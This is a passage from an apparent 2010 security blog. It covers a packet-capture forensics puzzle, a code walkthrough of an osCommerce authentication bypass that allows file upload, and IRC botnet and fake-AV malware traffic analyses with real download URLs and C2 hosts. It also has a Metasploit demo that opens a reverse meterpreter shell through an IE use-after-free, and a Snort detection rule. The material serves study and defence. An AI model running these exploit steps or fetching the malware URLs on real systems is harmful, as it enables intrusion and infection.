* TCP ACK - ACK scanning isn't really a portscan type, more of a "are you alive?"
* UDP - some UDP traffic, but not a scan
* TCP Connect - 1st scan using random source ports
* TCP XMAS - no XMAS packets, 'tcp[13] & 0xff = 0xff'
* TCP RST - no RST scanning, 'tcp[13] & 0x04 = 0x04'

3. What were the IP addresses of the targets Mr. X discovered?

sort/uniq out destination addresses:

$ tcpdump -lnr evidence04.pcap tcp and src host 10.42.42.253 | cut -d ' ' -f 4 | awk -F '.' '{print $1 "." $2 "." $3 "." $4}' | sort | uniq -c | sort -nr
3402 10.42.42.25
2041 10.42.42.50
2007 10.42.42.56

4. What was the MAC address of the Apple system he found?

00:16:cb:92:6e:dc

Determined via Wireshark's MAC Layer name resolution, confirmed via http://www.coffer.com/mac_find/?string=00%3A16%3Acb%3A92%3A6e%3Adc

5. What was the IP address of the Windows system he found?

10.42.42.50

Seeing NETBIOS broadcasts:

$ tcpdump -lnr evidence04.pcap udp
tcpdump: WARNING: snaplen raised from 116 to 65535
18:36:52.989943 10.42.42.50.137 > 10.255.255.255.137: udp 50

Seeing SYN/ACKS for normal windows ports of 135/139:

$ tcpdump -lnr evidence04.pcap 'tcp[13] & 0x12 = 0x12'
tcpdump: WARNING: snaplen raised from 116 to 65535
18:34:07.824240 10.42.42.50.139 > 10.42.42.253.56257: S 3796692784:3796692784(0) ack 3001813132 win 65535 (DF)
18:34:08.106871 10.42.42.50.135 > 10.42.42.253.42214: S 2938239898:2938239898(0) ack 2994045279 win 65535 (DF)

6. What TCP ports were open on the Windows system? (Please list the decimal numbers from lowest to highest.)

135
139

Look for SYN/ACKs sourcing from Windows system:

$ tcpdump -lnr evidence04.pcap 'tcp[13] & 0x12 = 0x12' and src host 10.42.42.50

Tuesday, March 23, 2010

osCommerce-v2.2 RC2 Authentication Bypass

http://www.milw0rm.com/exploits/9556 exploits an authentication bypass vulnerability in the latest version of osCommerce-v2.2 RC2--allows an attacker to upload and execute an arbitrary file.

file_manager.php is one of many administrative scripts in the "admin" directory. In this PHP script we have:

31: $action = (isset($HTTP_GET_VARS['action']) ? $HTTP_GET_VARS['action'] : '');


$action is set to the value of the "action" parameter passed via the URL.
34: switch ($action) {

50: case 'save':
51: if (isset($HTTP_POST_VARS['filename']) && tep_not_null(basename($HTTP_POST_VARS['filename']))) {
52:     if (is_writeable($current_path) && ($fp = fopen($current_path . '/' . basename($HTTP_POST_VARS['filename']), 'w+'))) {
53:         fputs($fp, stripslashes($HTTP_POST_VARS['file_contents']));
54:         fclose($fp);
55:         ...
56:     }
57: }

One of the possible actions is "save". Save checks for a POST parameter called "filename". Next, a file is created in the current working directory using the value of the parameter as its name. The contents of the "file_contents" POST parameter are written to the file and it is closed.

This doesn't explain how authentication is bypassed. If you try POSTing "filename" and "file_content" to "/path/admin/file_manager.php?action=save" you are redirected to a login page.

The exploit builds a POST URL that looks like "/admin/file_manager.php/login.php?action=save". The "file_manager.php/login.php" part looks kind of weird because file_manager.php isn't a directory, but this is a valid (obscure?) feature of PHP related to the $_SERVER['PHP_INFO
'] variable. We'll come back to this shortly, but first, some script initializations and startup.

file_manager.php requires admin/includes/application_top.php on line 13. application_top.php has the following:

37    $PHP_SELF = (isset($HTTP_SERVER_VARS['PHP_SELF']) ? $HTTP_SERVER_VARS['PHP_SELF'] : $HTTP_SERVER_VARS['SCRIPT_NAME']);


$HTTP_SERVER_VARS is set equal to $_SERVER in line 38 of admin/includes/functions/compatibility.php. $_SERVER['PHP_SELF'] is set to "/admin/file_manager.php/login.php" for the exploit's POST.
132  // redirect to login page if administrator is not yet logged in
133    if (!tep_session_is_registered('admin')) {

We don't have an admin session.
134      $redirect = false;
135  
136      $current_page = basename($PHP_SELF);

Tracing $PHP_SELF back through $_SERVER['PHP_SELF'], this becomes "login.php" using a URL of "/admin/file_manager.php/login.php".
138      if ($current_page != FILENAME_LOGIN) {

...

146        $redirect = true;
147      }

FILENAME_LOGIN is defined as "login.php" on line 30 of admin/includes/filenames.php. We don't enter this if statement.
149      if ($redirect == true) {
150        tep_redirect(tep_href_link(FILENAME_LOGIN));
151      }

$redirect is never set to "true", so we don't redirect to a login.php and the authentication is bypassed.

Monday, March 22, 2010

Sockets Practice: Update

Still working my way through UNP. I've added a banner grab option and timeouts for the connect/read calls in portscan.c and portsweep.c.

More to come... I have some ideas I want to try out after I get through the "Threads" and "Raw Sockets" chapters; also, I'm not happy with the code layout/formatting and there is too much duplicated code between the 2 programs.

Tuesday, March 16, 2010

J.exe feat. koko.exe

J.exe starts us off with a DNS query for lamer.mqbol.com (74.117.174.69) and a TCP connect to it on port 3935. This port is hosting an IRC server which is hosting a botnet channel:

NICK [00|USA|173151]
USER XP-7120 * 0 :LAB2
:li16.centertel.il NOTICE AUTH :*** Looking up your hostname...
:li16.centertel.il NOTICE AUTH :*** Found your hostname
:li16.centertel.il 001 [00|USA|173151]
:li16.centertel.il 002 [00|USA|173151]
:li16.centertel.il 003 [00|USA|173151]
:li16.centertel.il 004 [00|USA|173151]
:li16.centertel.il 005 [00|USA|173151]
:li16.centertel.il 005 [00|USA|173151]
:li16.centertel.il 005 [00|USA|173151]
:li16.centertel.il 422 [00|USA|173151] :MOTD File is missing
:[00|USA|173151] MODE [00|USA|173151] :+iwRG
MODE [00|USA|173151] -ix
JOIN ##J##
MODE [00|USA|173151] -ix
JOIN ##J##
MODE [00|USA|173151] -ix
JOIN ##J##
:[00|USA|173151]!XP-7120@my.hostname.net JOIN :##J##
:li16.centertel.il 332 [00|USA|173151] ##J## :.NAZEL http://yestube.net/koko.exe cnhfnnv.exe 1
:li16.centertel.il 333 [00|USA|173151] ##J## J4k3r 1268655877
MODE [00|USA|173151] -ix
JOIN ##J##
PRIVMSG ##J## :.::[Download]::. File download: 84.0KB to: cnhfnnv.exe @ 84.0KB/sec.
:li16.centertel.il 404 [00|USA|173151] ##J## :You must have a registered nick (+r) to talk on this channel (##J##)
PRIVMSG ##J## :.::[Download]::. Failed to create process: "cnhfnnv.exe", error: <267>
:li16.centertel.il 404 [00|USA|173151] ##J## :You must have a registered nick (+r) to talk on this channel (##J##)
PING :li16.centertel.il
PONG li16.centertel.il

The executive summary for the botnet follows:

Nickname: [00|USA|173151]
Reported hostname of the IRC server: li16.centertel.il
Channel: ##J##
Channel Topic: .NAZEL http://yestube.net/koko.exe cnhfnnv.exe 1

Looking at the topic and the failed download messages, J.exe checks the topic for commands and runs them. In this case it tries downloading http://yestube.net/koko.exe (69.4.235.235) and saving it as cnhfnnv.exe:

GET /koko.exe HTTP/1.1
User-Agent: Mozilla/4.0 (compatible)
Host: yestube.net

HTTP/1.1 200 OK
Date: Wed, 17 Mar 2010 03:45:35 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_p
assthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5.8.8
Last-Modified: Thu, 04 Mar 2010 05:03:10 GMT
ETag: "abe0010-1502b-83e35f80"
Accept-Ranges: bytes
Content-Length: 86059
Content-Type: application/x-msdownload

...

For whatever reason this download didn't work, but koko.exe does looks familiar!

The new koko.exe binary and the old aren't the same:

dennis@ipa:~$ ls -l koko.exe
-rw-r--r-- 1 dennis wheel 86059 Mar 16 22:48 koko.exe
dennis@ipa:~$ md5 koko.exe
MD5 (koko.exe) = 4e9d97f9ff17a2240dafa7d65eef65ca

old:

dennis@ipa:~/projects/exe-sigs/J.exe$ ls -l J.exe
-rw-r--r-- 1 dennis dennis 39424 Mar 16 21:09 J.exe
dennis@ipa:~/projects/exe-sigs/J.exe$ md5 J.exe
MD5 (J.exe) = ce818983eaabca13114fdda012b63dd4

But a quick run through mwanalysis shows it is up to the same tricks of downloading http://193.242.108.49/Dialer_Min/number.asp.

Virustotal
mwanalysis
ThreatExpert

Wednesday, March 10, 2010

Metasploit Demo: Microsoft Internet Explorer iepeers.dll Use After Free

Here's a quick Metasploit demo of the latest Internet Explorer 6/7 0day:

msf > use windows/browser/ie_iepeers_pointer
msf exploit(ie_iepeers_pointer) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ie_iepeers_pointer) > set LHOST 10.0.0.1
LHOST => 10.0.0.1
msf exploit(ie_iepeers_pointer) > exploit
[*] Exploit running as background job.
msf exploit(ie_iepeers_pointer) >
[*] Started reverse handler on 10.0.0.1:4444
[*] Using URL: http://0.0.0.0:8080/JOk5k9hl
[*] Local IP: http://192.168.1.102:8080/JOk5k9hl
[*] Server started.
[*] Sending Microsoft Internet Explorer iepeers.dll Use After Free to 10.0.0.2:1038...
[*] Sending stage (747008 bytes)
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.2:1039)
[*] Session ID 1 (10.0.0.1:4444 -> 10.0.0.2:1039) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1892)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 1148
[*] New server process: notepad.exe (1148)

msf exploit(ie_iepeers_pointer) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter LAB\Administrator @ LAB (1892) 10.0.0.1:4444 -> 10.0.0.2:1039

msf exploit(ie_iepeers_pointer) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: LAB
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: en_US

References:

Microsoft Internet Explorer 'iepeers.dll' Remote Code Execution Vulnerability

Friday, March 5, 2010

Snort Signature Practice: video.exe

video.exe is a fake AV malware. It resolves softmetalgroup.com (195.88.190.54) and does a GET for "/check". The server returns a "200 OK", but a "404 Not Found" page is returned:

GET /check HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: softmetalgroup.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: nginx/0.7.64
Date: Fri, 05 Mar 2010 23:10:38 GMT
Content-Type: application/octet-stream
Content-Length: 208
Last-Modified: Fri, 16 Oct 2009 15:35:48 GMT
Connection: keep-alive
Keep-Alive: timeout=20
Accept-Ranges: bytes

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /check was not found on this server.</p>
<hr>
</body></html>

This is part of the check-in process as it doesn't match up with a proper 404 from nginx as we'll see later.

A POST comes next that pushes a binary file:

POST /loads2.php?r=56.1 HTTP/1.1
Content-Type: multipart/form-data; boundary= 82859F64871E
User-Agent: Microsoft Internet Explorer
Host: softmetalgroup.com
Content-Length: 351
Connection: Keep-Alive

--82859F64871E
Content-Disposition: form-data; name="file"; filename="afile"
Content-Transfer-Encoding: binary
Content-Type: application/octet-stream

...

--82859F64871E--HTTP/1.1 200 OK
Server: nginx/0.7.64
Date: Fri, 05 Mar 2010 23:10:39 GMT
Content-Type: text/html; charset=windows-1252
Transfer-Encoding: chunked
Keep-Alive: timeout=20
X-Powered-By: PHP/5.3.1

2
OK
0

I base my signature off of this request, filename, parameter name and User-Agent:

alert tcp $HOME_NET any -> any $HTTP_PORTS (msg:"video.exe malware"; flow:to_server; content
:"POST"; http_method; uricontent:"/loads2.php?r="; content:"User-Agent\: Microsoft Internet Explorer|0D 0A|"; sid:0305201001;)

Next, there are multiple GETs for "/omni.gif". The User-Agent switches to something that looks more legitimate and proper 404 errors are returned:

GET http://softmetalgroup.com/omni.gif HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: softmetalgroup.com
Connection: close

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Date: Fri, 05 Mar 2010 23:12:21 GMT
Content-Type: text/html; charset=windows-1252
Content-Length: 529
Connection: close

<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/0.7.64</center>
</body>
</html>
<!-- The padding to disable MSIE's friendly error page -->
...

I'm not sure if these are keep-alive requests or not.

Virustotal
ThreatExpert
mwanalysis